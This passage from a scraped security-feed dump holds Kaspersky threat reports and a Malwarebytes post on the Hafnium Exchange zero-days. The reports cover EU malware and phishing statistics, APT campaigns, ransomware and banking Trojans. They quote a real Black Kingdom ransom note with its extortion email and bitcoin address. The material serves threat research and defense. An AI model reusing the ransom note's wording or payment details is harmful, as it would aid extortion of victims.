Trojan-Dropper.Win32.Scrop.adwo | 1.17 \n15 | Trojan.Multi.GenAutorunTask.c | 1.16 \n16 | Trojan.Win32.Generic | 1.12 \n17 | Trojan.Multi.GenBadur.gen | 1.10 \n18 | Trojan.BAT.Miner.gen | 1.09 \n19 | Trojan.Multi.GenAutorunTask.b | 1.07 \n20 | Trojan.Multi.GenAutorunTaskFile.a | 1.05 \n \n_* Excluded from the list are HackTool-type threats._\n\n_** The share of unique users on whose computers File Anti-Virus detected the given object in the total number of unique users of Kaspersky products whose Anti-Virus was triggered by malware._\n\n## Phishing in the EU\n\n### Phishing trends\n\n * **Cloud phishing**\n\nWe observed that the number of EU-targeted phishing resources on cloud platforms and hosting sites approximately doubled during the reporting period.\n\n * **Cryptocurrency**\n\nThe number of cryptocurrency-related phishing detections tripled. This category consists of fraudulent sites somehow linked to cryptocurrencies: in most cases, they are fake crypto exchanges that require users to invest money to gain access to an account that allegedly already contain complimentary currency. In fact, users just lose their own money if they try to buy access to such sites.\n\nAnother particularly interesting type of phishing we observed in the EU is a mixture of cryptocurrency and COVID-19 themes: fake sites offering COVID-19 vaccines for cryptocurrency.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/19131933/European_KSB_2021.jpeg>)\n\n**_Example of fake COVID-19 vaccine offer_**\n\n * **Targeted extortion**\n\nIn late August 2020, we saw some unusual extortion messages. In them, cybercriminals claimed to have planted TNT somewhere in the recipient's office, saying it would be detonated unless a ransom was paid or if police activity was observed near the building.\n\nWhereas individuals are asked to cough up the equivalent of $500\u20131,000 in bitcoin (the maximum we saw was around $5,000), for companies supposedly rigged with explosives the amount rises to roughly $20,000. The bulk of the scam e-mails are written in German, but we found English versions as well.\n\n * **Microsoft Office spear phishing**\n\nThe trend for harvesting Microsoft 365 credentials through spear phishing continues to evolve. Such phishing e-mails normally contain a hyperlink to a fake website. Sure enough, once many people had absorbed that simple precaution, phishers began replacing the links with attached HTML files, the sole purpose of which is to automate redirection. Clicking on the HTML attachment opens it in a browser. As far as the phishing aspect goes, the file has just one line of code (javascript: window.location.href) with the phishing website address as a variable. It forces the browser to open the website in the same window.\n\n### Phishing attacks\n\nIn total, **86,584,675** phishing attempts were blocked by Kaspersky solutions in the EU, representing 21.89% of all phishing attacks around the world during the reporting period.\n\n_EU share of phishing detections, April 2020 \u2013 April 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/19125028/15-en-european-ksb-2021.png>))_\n\n### Threat geography\n\nDuring the reporting period, approximately **13.4%** users of Kaspersky solutions in the EU encountered at least one phishing attack.\n\n_Geography of EU phishing, April 2020 \u2013 April 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/19125056/14-en-european-ksb-2021.png>))_\n\n**Top 10 EU countries where users faced phishing attacks**\n\n| **Country** | **%*** \n---|---|--- \n1 | Portugal | 18.34 \n2 | France | 17.98 \n3 | Belgium | 15.10 \n4 | Greece | 14.98 \n5 | Hungary | 14.87 \n6 | Italy | 14.44 \n7 | Slovakia | 12.77 \n8 | Spain | 12.74 \n9 | Poland | 12.47 \n10 | Latvia | 12.26 \n \n_* The share of unique users targeted by phishing attacks in the total number of unique users of Kaspersky products in the country._\n\n### Organizations under attack\n\n_The rating of organizations targeted by phishers is based on the triggering of the deterministic component in the Anti-Phishing system on user computers. The component detects all pages with phishing content that the user has tried to open by following a link in an e-mail message or on the web, as long as links to these pages are present in the Kaspersky database._\n\nPandemic-related events affected the distribution of phishing attacks across the categories of targeted organizations. However, the largest categories remained unchanged as they have done for several years: in the EU during reporting period, these were Global Internet portals (16.08%), Online stores (15.73%) and Payment systems (13.67%).\n\n_Share of phishing categories in the EU, April 2020 \u2013 April 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/19125126/16-en-european-ksb-2021.png>))_\n\n### Top-level domain (TLD) usage\n\nIn the share of EU top-level domains (TLDs), we include all national TLDs belonging to EU member states. In the reporting period, this share amounted to 7.27%.\n\n_Distribution of phishing domains by top-level domain, April 2020 \u2013 April 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/19125153/17-en-european-ksb-2021.png>))_\n\nThe share decreased significantly (-3 p.p.) at the end of 2020, but in Q1 2021 we observed a slight increase to 5.26%.\n\n_Timeline of share of EU top-level domains, Q2 2020 \u2013 Q2 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/19125220/18-en-european-ksb-2021.png>))_\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/19134557/eu_flag.jpg>) | **The project leading to this report has received funding from the European Union's Horizon 2020 research and innovation programme under grant agreement No 883464.** \n---|---", "cvss3": {}, "published": "2021-05-26T10:00:32", "type": "securelist", "title": "Kaspersky Security Bulletin 2020-2021. EU statistics", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2017-11882", "CVE-2020-0609", "CVE-2020-0610", "CVE-2020-0986", "CVE-2020-1380", "CVE-2021-24074", "CVE-2021-24086", "CVE-2021-24094", "CVE-2021-25274", "CVE-2021-25275", "CVE-2021-25276", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065"], "modified": "2021-05-26T10:00:32", "id": "SECURELIST:322E7EEAE549CDB14513C2EDB141B8BA", "href": "https://securelist.com/kaspersky-security-bulletin-2020-2021-eu-statistics/102335/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-08-12T10:37:29", "description": "\n\n## Targeted attacks\n\n### The leap of a Cycldek-related threat actor\n\nIt is quite common for Chinese-speaking threat actors to share tools and methodologies: one such example is the infamous "DLL side-loading triad": a legitimate executable, a malicious DLL to be [side-loaded](<https://attack.mitre.org/techniques/T1574/002/>) by it and an encoded payload, generally dropped from a self-extracting archive. This was first thought to be a signature of [LuckyMouse](<https://securelist.com/luckymouse-hits-national-data-center/86083/>), but we have observed other groups using similar "triads", including HoneyMyte. While it is not possible to attribute attacks based on this technique alone, efficient detection of such triads reveals more and more malicious activity.\n\nWe recently described one such file, called "FoundCore", which caught our attention because of the various improvements it brought to this well-known infection vector. We discovered the malware as part of an attack against a high-profile organization in Vietnam. From a high-level perspective, the infection chain follows the expected execution flow:\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/04/06085101/Cycldek_01.jpg>)\n\nHowever, in this case, the shellcode was heavily obfuscated \u2013 the technical details were presented in the '[The leap of a Cycldek-related threat actor](<https://securelist.com/the-leap-of-a-cycldek-related-threat-actor/101243/>)' report. We found the loader for this file so interesting that we decided to base one of the tracks of our [Targeted Malware Reverse Engineering](<https://xtraining.kaspersky.com/courses/targeted-malware-reverse-engineering>) course on it.\n\nThe final payload is a remote administration tool that provides full control over the victim machine to its operators. Communication with the server can take place either over raw TCP sockets encrypted with RC4, or via HTTPS.\n\nIn the vast majority of the incidents we discovered, FoundCore executions were preceded by the opening of malicious RTF documents downloaded from static.phongay[.]com \u2013 all generated using [RoyalRoad](<https://malpedia.caad.fkie.fraunhofer.de/details/win.8t_dropper>) and attempting to exploit CVE-2018-0802. All of these documents were blank, suggesting the existence of precursor documents \u2013 possibly delivered by means of spear-phishing or a previous infection \u2013 that trigger the download of the RTF files. Successful exploitation leads to the deployment of further malware \u2013 named DropPhone and CoreLoader.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/04/06091732/Cycldek_06.jpg>)\n\nOur telemetry indicates that dozens of organizations were affected, belonging to the government or military sector, or otherwise related to the health, diplomacy, education or political verticals. Eighty percent of the targets were in Vietnam, though we also identified occasional targets in Central Asia and Thailand.\n\nWhile Cycldek has so far been considered one of the least sophisticated Chinese-speaking threat actors, its targeting is consistent with what we observed in this campaign \u2013 which is why we attribute the campaign, with low confidence, to this threat actor.\n\n### Zero-day vulnerability in Desktop Window Manager used in the wild\n\nWhile analyzing the [CVE-2021-1732](<https://ti.dbappsecurity.com.cn/blog/index.php/2021/02/10/windows-kernel-zero-day-exploit-is-used-by-bitter-apt-in-targeted-attack/>) exploit, first discovered by DBAPPSecurity Threat Intelligence Center and used by the BITTER APT group, we found another zero-day exploit that we believe is linked to the same threat actor. We reported this new exploit to Microsoft in February and, after confirmation that it is indeed a zero-day, [Microsoft released a patch](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-28310>) for the new zero-day (CVE-2021-28310) as part of its April security updates.\n\nCVE-2021-28310 is an out-of-bounds (OOB) write vulnerability in dwmcore.dll, which is part of Desktop Window Manager (dwm.exe). Due to the lack of bounds checking, attackers are able to create a situation that allows them to write controlled data at a controlled offset using the DirectComposition API. [DirectComposition](<https://docs.microsoft.com/en-us/windows/win32/directcomp/directcomposition-portal>) is a Windows component that was introduced in Windows 8 to enable bitmap composition with transforms, effects and animations, with support for bitmaps of different sources (GDI, DirectX, etc.).\n\nThe exploit was initially identified by our advanced exploit prevention technology and related detection records. Over the past few years, we have built a multitude of exploit protection technologies into our products that have detected several zero-days, proving their effectiveness time and again.\n\nWe believe this exploit is used in the wild, potentially by several threat actors, and it is probably used together with other browser exploits to escape sandboxes or obtain system privileges for further access.\n\nYou can find technical details on the exploit in the '[Zero-day vulnerability in Desktop Window Manager (CVE-2021-28310) used in the wild](<https://securelist.com/zero-day-vulnerability-in-desktop-window-manager-cve-2021-28310-used-in-the-wild/101898/>)' post. Further information about BITTER APT and IOCs are available to customers of the Kaspersky Intelligence Reporting service: contact [intelreports@kaspersky.com](<mailto:intelreports@kaspersky.com>).\n\n### Operation TunnelSnake\n\nWindows rootkits, especially those operating in kernel space, enjoy high privileges in the system, allowing them to intercept and potentially tamper with core I/O operations conducted by the underlying OS, like reading or writing to files or processing incoming and outgoing network packets. Their ability to blend into the fabric of the operating system itself is how rootkits have gained their notoriety for stealth and evasion.\n\nNevertheless, over the years, it has become more difficult to deploy and execute a rootkit component in Windows. The introduction by Microsoft of Driver Signature Enforcement and Kernel Patch Protection (PatchGuard) has made it harder to tamper with the system. As a result, the number of Windows rootkits in the wild has decreased dramatically: most of those that are still active are often used in high-profile APT attacks.\n\nOne such example came to our attention during an investigation last year, in which we uncovered a previously unknown and stealthy implant in the networks of regional inter-governmental organizations in Asia and Africa. This rootkit, which we dubbed "Moriya", was used to deploy passive backdoors on public facing servers, facilitating the creation of a covert C2 (Command and Control) communication channel through which they can be silently controlled.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/04/08151011/Operation_TunnelSnake_01.png>)\n\nThis tool was used as part of an ongoing campaign that we named "[TunnelSnake](<https://securelist.com/operation-tunnelsnake-and-moriya-rootkit/101831/>)". The rootkit was detected on the targeted machines as early as November 2019; and another tool we found, showing significant code overlaps with the rootkit, suggests that the developers had been active since at least 2018.\n\nSince neither the rootkit nor other lateral movement tools that accompanied it during the campaign relied on hardcoded C2 servers, we could gain only partial visibility into the attacker's infrastructure. However, the bulk of the detected tools besides Moriya, consist of both proprietary and well-known pieces of malware that were previously in use by Chinese-speaking threat actors, giving a clue to the attacker's origin.\n\n### PuzzleMaker\n\nOn April 14-15, Kaspersky technologies detected a wave of highly targeted attacks against multiple companies. Closer analysis revealed that all these attacks exploited a chain of Google Chrome and Microsoft Windows zero-day exploits.\n\nWhile we were not able to retrieve the exploit used for Remote Code Execution (RCE) in the Chrome web-browser, we were able to find and analyze an Escalation of Privilege (EoP) exploit used to escape the sandbox and obtain system privileges. This EoP exploit was fine-tuned to work against the latest and most prominent builds of Windows 10 (17763 - RS5, 18362 - 19H1, 18363 - 19H2, 19041 - 20H1, 19042 - 20H2), and exploits two distinct vulnerabilities in the Microsoft Windows OS kernel.\n\nOn April 20, we reported these vulnerabilities to Microsoft and they assigned CVE-2021-31955 to the Information Disclosure vulnerability and CVE-2021-31956 to the EoP vulnerability. Both vulnerabilities were patched on June 8, as a part of the June Patch Tuesday.\n\nThe exploit-chain attempts to install malware in the system through a dropper. The malware starts as a system service and loads the payload, a "remote shell"-style backdoor, which in turns connects to the C2 to get commands.\n\nWe weren't able to find any connections or overlaps with a known threat actor, so we tentatively named this cluster of activity [PuzzleMaker](<https://securelist.com/puzzlemaker-chrome-zero-day-exploit-chain/102771/>).\n\n### Andariel adds ransomware to its toolset\n\nIn April, we discovered a suspicious Word document containing a Korean file name and decoy uploaded to VirusTotal. The document contained an unfamiliar macro and used novel techniques to implant the next payload. Our telemetry revealed two infection methods used in these attacks, with each payload having its own loader for execution in memory. The threat actor only delivered the final stage payload for selected victims.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/06/15094853/Andariel_delivered_ransomware_01.png>)\n\nDuring the course of our research, Malwarebytes published a [report](<https://blog.malwarebytes.com/malwarebytes-news/2021/04/lazarus-apt-conceals-malicious-code-within-bmp-file-to-drop-its-rat/>) with technical details about the same series of attacks, which attributed it to the Lazarus group. However, after thorough analysis, we reached the conclusion that the attacks were the work of Andariel, a sub-group of Lazarus, based on code overlaps between the second stage payload in this campaign and previous malware from this threat actor.\n\nHistorically, Andariel has mainly targeted organizations in South Korea; and our telemetry suggests that this is also the case in this campaign. We confirmed several victims in the manufacturing, home network service, media and construction sectors.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/06/15095550/Andariel_delivered_ransomware_08.png>)\n\nWe also found additional connections with the Andariel group. Each threat actor has a characteristic habit when they interactively work with a backdoor shell in the post-exploitation phase of an attack. The way Windows commands and their options were used in this campaign is almost identical to previous Andariel activity.\n\nNotably, in addition to the final backdoor, we discovered one victim infected with custom ransomware, underlying the financial motivation of this threat actor.\n\n### Ferocious Kitten\n\n[Ferocious Kitten](<https://securelist.com/ferocious-kitten-6-years-of-covert-surveillance-in-iran/102806/>) is an APT threat actor that has targeted Persian-speaking individuals who appear to be based in Iran. The group has mostly operated under the radar and, as far as we know, has not been covered by security researchers. The threat actor attracted attention recently when a lure document was uploaded to VirusTotal and went public thanks to [researchers on Twitter](<https://twitter.com/reddrip7/status/1366703445990723585?s=21>). Since then, one of its implants [has been analyzed](<http://www.hackdig.com/03/hack-293629.htm>) by a Chinese threat intelligence firm.\n\nWe were able to expand on some of the findings about the group and provide insights into the additional variants that it uses. The malware dropped from the lure document, dubbed "MarkiRAT", records keystrokes, clipboard content, and provides file download and upload capabilities as well as the ability to execute arbitrary commands on the victim's computer. We were able to trace the implant back to at least 2015, along with variants intended to hijack the execution of Telegram and Chrome applications as a persistence method.\n\nFerocious Kitten is one of the groups that operate in a wider eco-system intended to track individuals in Iran. Such threat groups aren't reported very often; and so are able to re-use infrastructure and toolsets without worrying about them being taken down or flagged by security solutions. Some of the TTPs used by this threat actor are reminiscent of other groups that are active against a similar set of targets, such as Domestic Kitten and Rampant Kitten.\n\n## Other malware\n\n### Evolution of JSWorm ransomware\n\nWhile ransomware has been around for a long time, it has evolved over time as attackers have improved their technologies and refined their tactics. We have seen a shift away from the random, speculative attacks of five years ago, and even from the massive outbreaks such as [WannaCry](<https://securelist.com/wannacry-faq-what-you-need-to-know-today/78411/>) and [NotPetya](<https://securelist.com/expetrpetyanotpetya-is-a-wiper-not-ransomware/78902/>). Many ransomware gangs have switched to the more profitable tactic of "big-game hunting"; and news of ransomware attacks affecting large corporations, and even critical infrastructure installations, has become commonplace. Moreover, there's now a [well-developed eco-system underpinning ransomware attacks](<https://securelist.com/ransomware-world-in-2021/102169/>).\n\nAs a result, even though [the number of ransomware attacks has fallen](<https://securelist.com/ransomware-by-the-numbers-reassessing-the-threats-global-impact/101965/>), and individuals are probably less likely to encounter ransomware than a few years ago, the threat to organizations is greater than ever.\n\nWe recently published analysis of one such ransomware family, named [JSWorm](<https://securelist.com/evolution-of-jsworm-ransomware/102428/>). This malware was discovered in 2019, and since then different variants have gained notoriety under various names such as Nemty, Nefilim, Offwhite and others.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/24115814/JSworm_malware_01.png>)\n\nEach "re-branded" version has included alterations to different aspects of the code \u2013 file extensions, cryptographic schemes, encryption keys, programming language and distribution model. Since it emerged, JSWorm has developed from a typical mass-scale ransomware threat affecting mostly individual users into a typical big-game hunting ransomware threat attacking high-profile targets and demanding massive ransom payments.\n\n### Black Kingdom ransomware\n\n[Black Kingdom](<https://securelist.com/black-kingdom-ransomware/102873/>) first appeared in 2019; in 2020 the group was observed exploiting vulnerabilities (such as CVE-2019-11510) in its attacks. In recent activity, the ransomware was used by an unknown adversary for exploiting a Microsoft Exchange vulnerability (CVE-2021-27065, aka [ProxyLogon](<https://proxylogon.com/>)). This ransomware family is much less sophisticated than other [Ransomware-as-a-Service](<https://encyclopedia.kaspersky.com/glossary/ransomware-as-a-service-raas/?utm_source=securelist&utm_medium=blog&utm_campaign=termin-explanation>) (RaaS) or big game hunting families. The group's involvement in the Microsoft Exchange exploitation campaign suggests opportunism rather than a resurgence in activity from this ransomware family.\n\nThe malware is coded in Python and compiled to an executable using PyInstaller. The ransomware supports two encryption modes: one generated dynamically and one using a hardcoded key. Code analysis revealed an amateurish development cycle and the possibility of recovering files that have been encrypted with Black Kingdom with the help of the hardcoded key. At the time of analysis, there was already a [script to recover files encrypted with the embedded key](<https://blog.cyberint.com/black-kingdom-ransomware>).\n\nBlack Kingdom changes the desktop background to a note that the system is infected while it encrypts files, disabling the mouse and keyboard as it does so.\n \n \n ***************************\n | We Are Back ?\n ***************************\n \n We hacked your (( Network )), and now all files, documents, images,\n databases and other important data are safely encrypted using the strongest algorithms ever.\n You cannot access any of your files or services .\n But do not worry. You can restore everthing and get back business very soon ( depends on your actions )\n \n before I tell how you can restore your data, you have to know certain things :\n \n We have downloaded most of your data ( especially important data ) , and if you don't contact us within 2 days, your data will be released to the public.\n \n To see what happens to those who didn't contact us, just google : ( Blackkingdom Ransomware )\n \n ***************************\n | What guarantees ?\n ***************************\n \n We understand your stress and anxiety. So you have a free opportunity to test our service by instantly decrypting one or two files for free\n just send the files you want to decrypt to (support_blackkingdom2@protonmail.com\n \n ***************************************************\n | How to contact us and recover all of your files ?\n ***************************************************\n \n The only way to recover your files and protect from data leaks, is to purchase a unique private key for you that we only posses .\n \n \n [ + ] Instructions:\n \n 1- Send the decrypt_file.txt file to the following email ===> support_blackkingdom2@protonmail.com\n \n 2- send the following amount of US dollars ( 10,000 ) worth of bitcoin to this address :\n \n [ 1Lf8ZzcEhhRiXpk6YNQFpCJcUisiXb34FT ]\n \n 3- confirm your payment by sending the transfer url to our email address\n \n 4- After you submit the payment, the data will be removed from our servers, and the decoder will be given to you,\n so that you can recover all your files.\n \n ## Note ##\n \n Dear system administrators, do not think you can handle it on your own. Notify your supervisors as soon as possible.\n By hiding the truth and not communicating with us, what happened will be published on social media and yet in news websites.\n \n Your ID ==>\n FDHJ91CUSzXTquLpqAnP\n\nAfter decompiling the Python code, we discovered that the code base for Black Kingdom has its origins in an open-source ransomware builder [available on GitHub](<https://github.com/BuchiDen/Ransomware_RAASNet/blob/master/RAASNet.py>). The group adapted parts of the code, adding features that were not originally presented in the builder, such as the hardcoded key. We were not able to attribute Black Kingdom to any known threat group.\n\nBased on our telemetry, we could see only a few hits by Black Kingdom in Italy and Japan.\n\n### Gootkit: the cautious banking Trojan\n\n[Gootkit](<https://securelist.com/gootkit-the-cautious-trojan/102731/>) belongs to a class of Trojans that are extremely tenacious, but not widespread. Since it's not very common, new versions of the Trojan may remain under the researchers' radar for long periods.\n\nIt is complex multi-stage banking malware, which was initially discovered by Doctor Web in 2014. Initially, it was distributed via spam and exploits kits such as Spelevo and RIG. In conjunction with spam campaigns, the adversaries later switched to compromised websites where visitors are tricked into downloading the malware.\n\nGootkit is capable of stealing data from the browser, performing man-in-the-browser attacks, keylogging, taking screenshots, and lots of other malicious actions. The Trojan's loader performs various virtual machine and sandbox checks and uses sophisticated persistence algorithms.\n\nIn 2019, Gootkit stopped operating after it experienced a [data leak](<https://www.zdnet.com/article/gootkit-malware-crew-left-their-database-exposed-online-without-a-password/>), but has been [active again](<https://www.bleepingcomputer.com/news/security/gootkit-malware-returns-to-life-alongside-revil-ransomware/>) since November 2020. Most of the victims are located in EU countries such as Germany and Italy.\n\n### Bizarro banking Trojan expands into Europe\n\nBizarro is one more banking Trojan family originating from Brazil that is now found in other parts of the world. We have seen people being targeted in Spain, Portugal, France and Italy. This malware has been used to steal credentials from customers of 70 banks from different European and South American countries.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/14143631/Bizarro_trojan_13.png>)\n\nAs with [Tetrade](<https://securelist.com/the-tetrade-brazilian-banking-malware/97779/>), Bizarro uses affiliates or recruits money mules to cash out or simply to help with money transfers.\n\nBizarro is distributed via MSI packages downloaded by victims from links in spam emails. Once launched, it downloads a ZIP archive from a compromised website. We observed hacked WordPress, Amazon and Azure servers used by the Trojan for storing archives. The backdoor, which is the core component of Bizarro, contains more than 100 commands and allows the attackers to steal online banking account credentials. Most of the commands are used to display fake pop-up messages and seek to trick people into entering two-factor authentication codes. The Trojan may also use social engineering to convince victims to download a smartphone app.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/14143359/Bizarro_trojan_12.png>)\n\nBizarro is one of several banking Trojans from South America that have extended their operations into other regions \u2013 mainly Europe. They include Guildma, Javali, Melcoz, Grandoreiro and Amavaldo.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/17095011/Map_of_Brazilian_families.jpeg>)\n\n### Malicious code in APKPure app\n\nIn early April, we [discovered malicious code in version 3.17.18 of the official client of the APKPure app store](<https://securelist.com/apkpure-android-app-store-infected/101845/>), a popular alternative source of Android apps. [The incident seems to be similar to what happened with CamScanner](<https://www.kaspersky.com/blog/camscanner-malicious-android-app/28156/>), when the app's developer implemented an adware SDK from an unverified source.\n\nWhen launched, the embedded Trojan dropper, which our solutions detect as HEUR:Trojan-Dropper.AndroidOS.Triada.ap, unpacks and runs its payload, which is able to show ads on the lock screen, open browser tabs, collect information about the device, and download other malicious code. The Trojan downloaded depends on the version of Android and how recently security updates have been installed. In the case of relatively recent versions of the operating system (Android 8 or higher) it loads additional modules for the [Triada Trojan](<https://www.kaspersky.com/blog/triada-trojan/11481/>). If the device is older (Android 6 or 7, and without security updates installed) it could be the [xHelper Trojan](<https://securelist.com/unkillable-xhelper-and-a-trojan-matryoshka/96487/>).\n\nWe reported the issue to APKPure on April 8. APKPure acknowledged the problem the following day and, soon afterwards, posted a new version (3.17.19) that does not contain the malicious component.\n\n### Browser lockers\n\nBrowser lockers are designed to prevent the victim from using their browser unless they pay a ransom. The "locking" consists of preventing the victim from leaving the current tab, which displays intimidating messages, often with sound and visual effects. The locker tries to trick the victim into making a payment with threats of losing data or legal liability.\n\nThis type of fraud has long been on the radar of researchers, and over the last decade there have been numerous browser locking campaigns targeting people worldwide. The tricks used by the scammers include imitating the infamous "[Blue Screen of Death](<https://encyclopedia.kaspersky.com/glossary/blue-screen-of-death-bsod/?utm_source=securelist&utm_medium=blog&utm_campaign=termin-explanation>)" (BSOD) in the browser, false warnings about system errors or detected malware, threats to encrypt files and legal liability notices.\n\nIn our [report on browser lockers](<https://securelist.com/browser-lockers-extortion-disguised-as-a-fine/101735/>), we examined two families of lockers that mimic government websites.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/04/01145253/MVD_fake_sites_07-scaled.jpeg>)\n\nBoth families spread mainly via advertising networks, primarily aimed at selling "adult" content and movies in an intrusive manner; for example, through tabs or windows that open on top of the visited site when loading a page with an embedded ad module (pop-ups), or after clicking anywhere on the page (click-unders).\n\nThese threats are not technically complex: they simply aim to create the illusion of having locked the computer and intimidate victims into paying money. Landing on such a page by mistake will not harm your device or compromise your data, as long as you don't fall for the cybercriminals' smoke-and-mirror tactics.\n\n### Malware targets Apple M1 chip\n\nLast November, Apple unveiled its M1 chip. The new chip, which has replaced Intel processors in several of its products, is based on ARM architecture instead of the x86 architecture traditionally used in personal computers. This lays the foundation for Apple to switch completely to its own processors and unify its software under a single architecture. Unfortunately, just months after the release, [malware writers had already adapted several malware families to the new processor](<https://securelist.com/malware-for-the-new-apple-silicon-platform/101137/>).\n\n### Attempted supply-chain attack using PHP\n\nIn March, [unknown attackers tried to carry out a supply-chain attack by introducing malicious code to the PHP scripting language](<https://www.kaspersky.com/blog/php-git-backdor/39191/>). The developers of PHP make changes to the code using a common repository built on the GIT version control system. The attackers tried to add a backdoor to the code. Fortunately, a developer noticed something suspicious during a routine check. Had they not done so, the backdoor might have allowed attackers to run malicious code remotely on web servers, in around 80 per cent of which (web servers) PHP is used.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 6.0}, "published": "2021-08-12T10:00:37", "type": "securelist", "title": "IT threat evolution Q2 2021", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-0802", "CVE-2019-11510", "CVE-2021-1732", "CVE-2021-27065", "CVE-2021-28310", "CVE-2021-31955", "CVE-2021-31956"], "modified": "2021-08-12T10:00:37", "id": "SECURELIST:934E8AA177A27150B87EC15F920BF350", "href": "https://securelist.com/it-threat-evolution-q2-2021/103597/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "malwarebytes": [{"lastseen": "2021-03-16T10:27:50", "description": "Microsoft has detected multiple [zero-day](<https://blog.malwarebytes.com/glossary/zero-day/>) exploits being used to attack on-premises versions of Microsoft Exchange Server in limited and targeted attacks. Microsoft attributes the attacks to a group they have dubbed Hafnium.\n\n> \u201cHAFNIUM primarily targets entities in the United States across a number of industry sectors, including infectious disease researchers, law firms, higher education institutions, defense contractors, policy think tanks, and NGOs.\u201d\n\n### The Hafnium attack group\n\nBesides a rare metal that chemically resembles zirconium, Hafnium is a newly identified attack group that is also thought to be responsible for other attacks on internet-facing servers, and typically exfiltrates data to [file sharing sites](<https://blog.malwarebytes.com/how-tos-2/2020/12/file-sharing-and-cloud-storage-sites-how-safe-are-they/>). Despite their use of leased servers in the US, the group is believed to be based in China (as most security researchers will tell you, attribution is hard, especially when it involves international espionage).\n\n### Exchange Server\n\nIn many organizations, internal cooperation depends on groupware solutions that enable the central administration of emails, calendars, contacts, and tasks. Microsoft Exchange Server is software that offers this functionality for Windows-based server systems.\n\nIn this case the attacker was using one of the zero-day vulnerabilities to steal the full contents of several user mailboxes from such servers.\n\n### Not one, but four zero-days\n\nPublicly disclosed computer security flaws are listed in the Common Vulnerabilities and Exposures (CVE) database. Its goal is to make it easier to share data across separate vulnerability capabilities (tools, databases, and services). The CVE\u2019s (with descriptions provided by Microsoft) used in these attacks were:\n\n * [**CVE-2021-26855**](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26855>): Microsoft Exchange Server Remote Code Execution Vulnerability. This vulnerability is part of an attack chain. The initial attack requires the ability to make an untrusted connection to Exchange server port 443.\n * [**CVE-2021-26857**](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26857>): Microsoft Exchange Server Remote Code Execution Vulnerability. This vulnerability is part of an attack chain. The initial attack requires the ability to make an untrusted connection to Exchange server port 443.\n * [**CVE-2021-26858**](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26858>): Microsoft Exchange Server Remote Code Execution Vulnerability. This vulnerability is part of an attack chain. The initial attack requires the ability to make an untrusted connection to Exchange server port 443.\n * [**CVE-2021-27065**](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-27065>): Microsoft Exchange Server Remote Code Execution Vulnerability. This vulnerability is part of an attack chain. The initial attack requires the ability to make an untrusted connection to Exchange server port 443.\n\nThey all look the same. Boring you said? Read on!\n\n### The attack chain\n\nWhile the CVE description is the same for the 4 CVE\u2019s we can learn from the report by the security firm that discovered the attacks, Volexity, that CVE-2021-26855 is a server-side request forgery (SSRF) vulnerability in Exchange that was used to steal mailbox content. The Remote Code Execution (RCE) vulnerability CVE-2021-26857 was used to run code under the System account. The other two zero-day flaws \u2014 CVE-2021-26858 and CVE-2021-27065 \u2014 would allow an attacker to write a file to any part of the server.\n\nTogether these 4 vulnerabilities form a powerful attack chain which only requires the attacker to find the server running Exchange, and the account from which they want to extract email. After exploiting these vulnerabilities to gain initial access, Hafnium operators deployed web shells on the compromised servers to gain persistence and make more changes. Web shells can allow attackers to steal data and perform additional malicious actions.\n\n### Urgent patching necessary\n\nEven though the use of the vulnerabilities was described as \u201climited\u201d, now that the information has been made public, we may see a quick rise in the number of attacks. Especially since the attack does not require a lot of information about the victim to start with.\n\nOr as Microsoft\u2019s vice president for customer security Tom Burt put it:\n\n> \u201cEven though we\u2019ve worked quickly to deploy an update for the Hafnium exploits, we know that many nation-state actors and criminal groups will move quickly to take advantage of any unpatched systems.\u201d\n\nUsers of Microsoft Exchange Server 2013, Microsoft Exchange Server 2016, and Microsoft Exchange Server 2019 are advised to apply the updates immediately to protect against these 